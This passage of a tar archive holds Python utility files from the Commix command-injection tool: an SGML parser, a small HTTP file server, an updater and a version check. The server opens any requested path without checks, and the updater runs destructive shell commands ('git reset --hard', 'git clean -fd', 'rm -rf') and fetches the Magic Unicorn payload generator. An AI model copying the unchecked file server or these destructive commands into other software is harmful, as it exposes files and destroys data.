j = match.start(0)
tag = rawdata[i + 2:j].strip().lower()
if rawdata[j] == '>':
j = j + 1
self.finish_endtag(tag)
return j
# Internal -- finish parsing of <tag/data/ (same as <tag>data</tag>)
def finish_shorttag(self, tag, data):
self.finish_starttag(tag, [])
self.handle_data(data)
self.finish_endtag(tag)
# Internal -- finish processing of start tag
# Return -1 for unknown tag, 0 for open-only tag, 1 for balanced tag
def finish_starttag(self, tag, attrs):
try:
method = getattr(self, 'start_' + tag)
except AttributeError:
try:
method = getattr(self, 'do_' + tag)
except AttributeError:
self.unknown_starttag(tag, attrs)
return -1
else:
self.handle_starttag(tag, method, attrs)
return 0
else:
self.stack.append(tag)
self.handle_starttag(tag, method, attrs)
return 1
# Internal -- finish processing of end tag
def finish_endtag(self, tag):
if not tag:
found = len(self.stack) - 1
if found < 0:
self.unknown_endtag(tag)
return
else:
if tag not in self.stack:
try:
method = getattr(self, 'end_' + tag)
except AttributeError:
self.unknown_endtag(tag)
else:
self.report_unbalanced(tag)
return
found = len(self.stack)
for i in range(found):
if self.stack[i] == tag:
found = i
while len(self.stack) > found:
tag = self.stack[-1]
try:
method = getattr(self, 'end_' + tag)
except AttributeError:
method = None
if method:
self.handle_endtag(tag, method)
else:
self.unknown_endtag(tag)
del self.stack[-1]
# Overridable -- handle start tag
def handle_starttag(self, tag, method, attrs):
method(attrs)
# Overridable -- handle end tag
def handle_endtag(self, tag, method):
method()
# Example -- report an unbalanced </...> tag.
def report_unbalanced(self, tag):
if self.verbose:
print('*** Unbalanced </' + tag + '>')
print('*** Stack:', self.stack)
def convert_charref(self, name):
"""Convert character reference, may be overridden."""
try:
n = int(name)
except ValueError:
return
if not 0 <= n <= 127:
return
return self.convert_codepoint(n)
def convert_codepoint(self, codepoint):
return chr(codepoint)
def handle_charref(self, name):
"""Handle character reference, no need to override."""
replacement = self.convert_charref(name)
if replacement is None:
self.unknown_charref(name)
else:
self.handle_data(replacement)
# Definition of entities -- derived classes may override
entitydefs = \
{'lt': '<', 'gt': '>', 'amp': '&', 'quot': '"', 'apos': '\''}
def convert_entityref(self, name):
"""Convert entity references.
As an alternative to overriding this method; one can tailor the
results by setting up the self.entitydefs mapping appropriately.
"""
table = self.entitydefs
if name in table:
return table[name]
else:
return
def handle_entityref(self, name):
"""Handle entity references, no need to override."""
replacement = self.convert_entityref(name)
if replacement is None:
self.unknown_entityref(name)
else:
self.handle_data(replacement)
# Example -- handle data, should be overridden
def handle_data(self, data):
pass
# Example -- handle comment, could be overridden
def handle_comment(self, data):
pass
# Example -- handle declaration, could be overridden
def handle_decl(self, decl):
pass
# Example -- handle processing instruction, could be overridden
def handle_pi(self, data):
pass
# To be overridden -- handlers for unknown objects
def unknown_starttag(self, tag, attrs):
pass
def unknown_endtag(self, tag):
pass
def unknown_charref(self, ref):
pass
def unknown_entityref(self, ref):
pass
class TestSGMLParser(SGMLParser):
def __init__(self, verbose=0):
self.testdata = ""
SGMLParser.__init__(self, verbose)
def handle_data(self, data):
self.testdata = self.testdata + data
if len(repr(self.testdata)) >= 70:
self.flush()
def flush(self):
data = self.testdata
if data:
self.testdata = ""
print('data:', repr(data))
def handle_comment(self, data):
self.flush()
r = repr(data)
if len(r) > 68:
r = r[:32] + '...' + r[-32:]
print('comment:', r)
def unknown_starttag(self, tag, attrs):
self.flush()
if not attrs:
print('start tag: <' + tag + '>')
else:
print('start tag: <' + tag, end=' ')
for name, value in attrs:
print(name + '=' + '"' + value + '"', end=' ')
print('>')
def unknown_endtag(self, tag):
self.flush()
print('end tag: </' + tag + '>')
def unknown_entityref(self, ref):
self.flush()
print('*** unknown entity ref: &' + ref + ';')
def unknown_charref(self, ref):
self.flush()
print('*** unknown char ref: &#' + ref + ';')
def unknown_decl(self, data):
self.flush()
print('*** unknown decl: [' + data + ']')
def close(self):
SGMLParser.close(self)
self.flush()
def test(args=None):
import sys
if args is None:
args = sys.argv[1:]
if args and args[0] == '-s':
args = args[1:]
klass = SGMLParser
else:
klass = TestSGMLParser
if args:
file = args[0]
else:
file = 'test.html'
if file == '-':
f = sys.stdin
else:
try:
f = open(file, 'r')
except IOError as msg:
print(file, ":", msg)
sys.exit(1)
data = f.read()
if f is not sys.stdin:
f.close()
x = klass()
for c in data:
x.feed(c)
x.close()
if __name__ == '__main__':
test()
commix-4.0/src/utils/simple_http_server.py 0000664 0000000 0000000 00000007310 14731205621 0021072 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
import errno
import socket
from os import curdir, sep
from src.utils import menu
from src.utils import settings
from socket import error as socket_error
from src.thirdparty.colorama import Fore, Back, Style, init
from src.thirdparty.six.moves import _thread as thread
from src.thirdparty.six.moves import http_client as _http_client
from src.thirdparty.six.moves import socketserver as _socketserver
from src.thirdparty.six.moves import BaseHTTPServer as _BaseHTTPServer
"""
Validates IPv4 addresses.
"""
def is_valid_ipv4(ip_addr):
pattern = re.compile(r"""
^
(?:
# Dotted variants:
(?:
# Decimal 1-255 (no leading 0's)
[3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2}
|
0x0*[0-9a-f]{1,2} # Hexadecimal 0x0 - 0xFF (possible leading 0's)
|
0+[1-3]?[0-7]{0,2} # Octal 0 - 0377 (possible leading 0's)
)
(?: # Repeat 0-3 times, separated by a dot
\.
(?:
[3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2}
|
0x0*[0-9a-f]{1,2}
|
0+[1-3]?[0-7]{0,2}
)
){0,3}
|
0x0*[0-9a-f]{1,8} # Hexadecimal notation, 0x0 - 0xffffffff
|
0+[0-3]?[0-7]{0,10} # Octal notation, 0 - 037777777777
|
# Decimal notation, 1-4294967295:
429496729[0-5]|42949672[0-8]\d|4294967[01]\d\d|429496[0-6]\d{3}|
42949[0-5]\d{4}|4294[0-8]\d{5}|429[0-3]\d{6}|42[0-8]\d{7}|
4[01]\d{8}|[1-3]\d{0,9}|[4-9]\d{0,8}
)
$
""", re.VERBOSE | re.IGNORECASE)
return pattern.match(ip_addr) is not None
def grab_ip_addr():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8",53))
s.settimeout(2)
ip_addr = s.getsockname()[0]
s.close()
return ip_addr
except socket_error as err_msg:
if errno.ECONNREFUSED:
warn_msg = "Internet seems unreachable."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
else:
settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg)))
raise SystemExit()
class Handler(_BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
try:
#Open the static file requested and send it
f = open(self.path)
self.send_response(_http_client.OK)
self.send_header(settings.CONNECTION, "close")
self.end_headers()
self.wfile.write(f.read().encode())
return
except Exception:
error_response = settings.APPLICATION + settings.SINGLE_WHITESPACE + settings.VERSION + " (https://commixproject.com)"
self.wfile.write(error_response.encode())
def log_message(self, format, *args):
return
class ReusableTCPServer(_socketserver.TCPServer):
allow_reuse_address = True
def main():
try:
connection_refused = False
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket_error:
if errno.ECONNREFUSED:
connection_refused = True
if connection_refused == False:
# Start the server in a background thread.
httpd = ReusableTCPServer(('', settings.LOCAL_HTTP_PORT), Handler)
thread.start_new_thread(httpd.serve_forever, ())
commix-4.0/src/utils/update.py 0000775 0000000 0000000 00000022121 14731205621 0016436 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
import time
import subprocess
from src.utils import menu
from src.utils import settings
from src.utils import requirments
from src.utils import common
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Check for updates (apply if any) and exit!
"""
"""
Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD"
"""
def revision_num():
try:
start = 0
end = 0
start = time.time()
process = subprocess.Popen("git reset --hard HEAD && git clean -fd && git pull", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, _ = process.communicate()
if settings.VERBOSITY_LEVEL == 0:
info_msg = ('Updated to', 'Already at')["Already" in stdout]
process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# Delete *.pyc files.
subprocess.Popen("find . -name \"*.pyc\" -delete", shell=True).wait()
# Delete empty directories and files.
subprocess.Popen("find . -empty -type d -delete", shell=True).wait()
if settings.VERBOSITY_LEVEL == 0:
stdout, _ = process.communicate()
match = re.search(r"(?i)[0-9a-f]{32}", stdout or "")
rev_num = match.group(0) if match else None
info_msg += " the latest revision '" + str(rev_num[:7]) + "'."
else:
settings.print_data_to_stdout(Fore.MAGENTA + "\n" + stdout + Style.RESET_ALL)
end = time.time()
exec_time = int(end - start)
info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(exec_time)) + "."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
except:
raise SystemExit()
"""
The commix's updater.
"""
def updater():
info_msg = "Checking requirements to update "
info_msg += settings.APPLICATION + " from GitHub repository. "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
if menu.options.offline:
err_msg = "You cannot update commix via GitHub without access on the Internet."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check if windows
if settings.IS_WINDOWS:
err_msg = "For updating purposes on Windows platform, it's recommended "
err_msg += "to use a GitHub client for Windows (http://windows.github.com/)."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
try:
requirment = "git"
# Check if 'git' is installed.
requirments.do_check(requirment)
if requirments.do_check(requirment) == True :
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "commix will try to update itself using '" + requirment + "' command."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
# Check if ".git" exists!
if os.path.isdir("./.git"):
info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) version. "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
revision_num()
os._exit(0)
else:
err_msg = "The '.git' directory not found. Do it manually: "
err_msg += "'git clone " + settings.GIT_URL + " " + settings.APPLICATION + "' "
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
err_msg = requirment + " not found."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
except Exception as err_msg:
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
"""
Check for new version of commix
"""
def check_for_update():
try:
response = _urllib.request.urlopen('https://raw.githubusercontent.com/commixproject/commix/master/src/utils/settings.py', timeout=settings.TIMEOUT)
version_check = response.readlines()
for line in version_check:
line = line.rstrip()
if "VERSION_NUM = " in line:
update_version = line.replace("VERSION_NUM = ", "").replace("\"", "")
break
if (int(settings.VERSION_NUM.replace(".", "")[:2]) < int(update_version.replace(".", "")[:2])) or \
((int(settings.VERSION_NUM.replace(".", "")[:2]) == int(update_version.replace(".", "")[:2])) and \
int(settings.VERSION_NUM.replace(".", "")[2:]) < int(update_version.replace(".", "")[2:])):
while True:
message = "Do you want to update to the latest version now? [Y/n] > "
do_update = common.read_input(message, default="Y", check_batch=True)
if do_update in settings.CHOICE_YES:
updater()
elif do_update in settings.CHOICE_NO:
break
else:
common.invalid_option(do_update)
pass
except KeyboardInterrupt:
raise
except:
pass
"""
The updater for the unicorn tool
"""
def unicorn_updater(current_version):
APPLICATION_NAME = "TrustedSec's Magic Unicorn"
info_msg = "Checking requirements to update "
info_msg += APPLICATION_NAME + " from GitHub repository. "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
if menu.options.offline:
err_msg = "You cannot update TrustedSec's Magic Unicorn "
err_msg += "via GitHub without access on the Internet."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check if windows
if settings.IS_WINDOWS:
err_msg = "For updating purposes on Windows platform, it's recommended "
err_msg += "to use a GitHub client for Windows (http://windows.github.com/)."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
try:
requirment = "git"
# Check if 'git' is installed.
requirments.do_check(requirment)
if requirments.do_check(requirment) == True :
settings.print_data_to_stdout(settings.SUCCESS_STATUS)
if len(current_version) == 0:
unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../', 'thirdparty/'))
os.chdir(unicorn_path)
else:
os.chdir("../")
subprocess.Popen("rm -rf unicorn", shell=True).wait()
info_msg = "Updating " + APPLICATION_NAME + " to the latest (dev) "
info_msg += "version. "
subprocess.Popen("git clone https://github.com/trustedsec/unicorn", shell=True).wait()
os.chdir("unicorn")
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
revision_num()
else:
err_msg = requirment + " not found."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
except Exception as err_msg:
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
"""
Check the latest version of unicorn
"""
def check_unicorn_version(current_version):
try:
if len(current_version) != 0:
response = _urllib.request.urlopen('https://raw.githubusercontent.com/trustedsec/unicorn/master/unicorn.py', timeout=settings.TIMEOUT)
latest_version = response.readlines()
for line in latest_version:
line = line.rstrip()
if "Magic Unicorn Attack Vector v" in line:
latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-", "").replace("\"", "").replace(")", "")
break
if len(current_version) == 0 or \
(int(current_version.replace(".", "")[:2]) < int(latest_version.replace(".", "")[:2])) or \
((int(current_version.replace(".", "")[:2]) == int(latest_version.replace(".", "")[:2])) and \
int(current_version.replace(".", "")[2:]) < int(latest_version.replace(".", "")[2:])):
if len(current_version) != 0:
warn_msg = "Current version of TrustedSec's Magic Unicorn (" + current_version + ") seems to be out-of-date."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
else:
warn_msg = "TrustedSec's Magic Unicorn seems to be not installed."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
while True:
if len(current_version) == 0:
action = "install"
else:
action = "update to"
message = "Do you want to " + action + " the latest version now? [Y/n] > "
do_update = common.read_input(message, default="Y", check_batch=True)
if do_update in settings.CHOICE_YES:
unicorn_updater(current_version)
elif do_update in settings.CHOICE_NO:
break
else:
common.invalid_option(do_update)
pass
except KeyboardInterrupt:
raise
except:
pass
# eof commix-4.0/src/utils/version.py 0000664 0000000 0000000 00000002005 14731205621 0016635 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import sys
from src.utils import settings
"""
Show version number and exit.
"""
def show_version():
settings.print_data_to_stdout(settings.VERSION)
raise SystemExit()
"""
Check python version number.
"""
def python_version():
PYTHON_VERSION = sys.version.split()[0]
if PYTHON_VERSION.split(".")[0] != "3":
warn_msg = "Deprecated Python version detected: "
warn_msg += PYTHON_VERSION + ". "
warn_msg += "You are advised to re-run with Python 3."
settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg))
# eof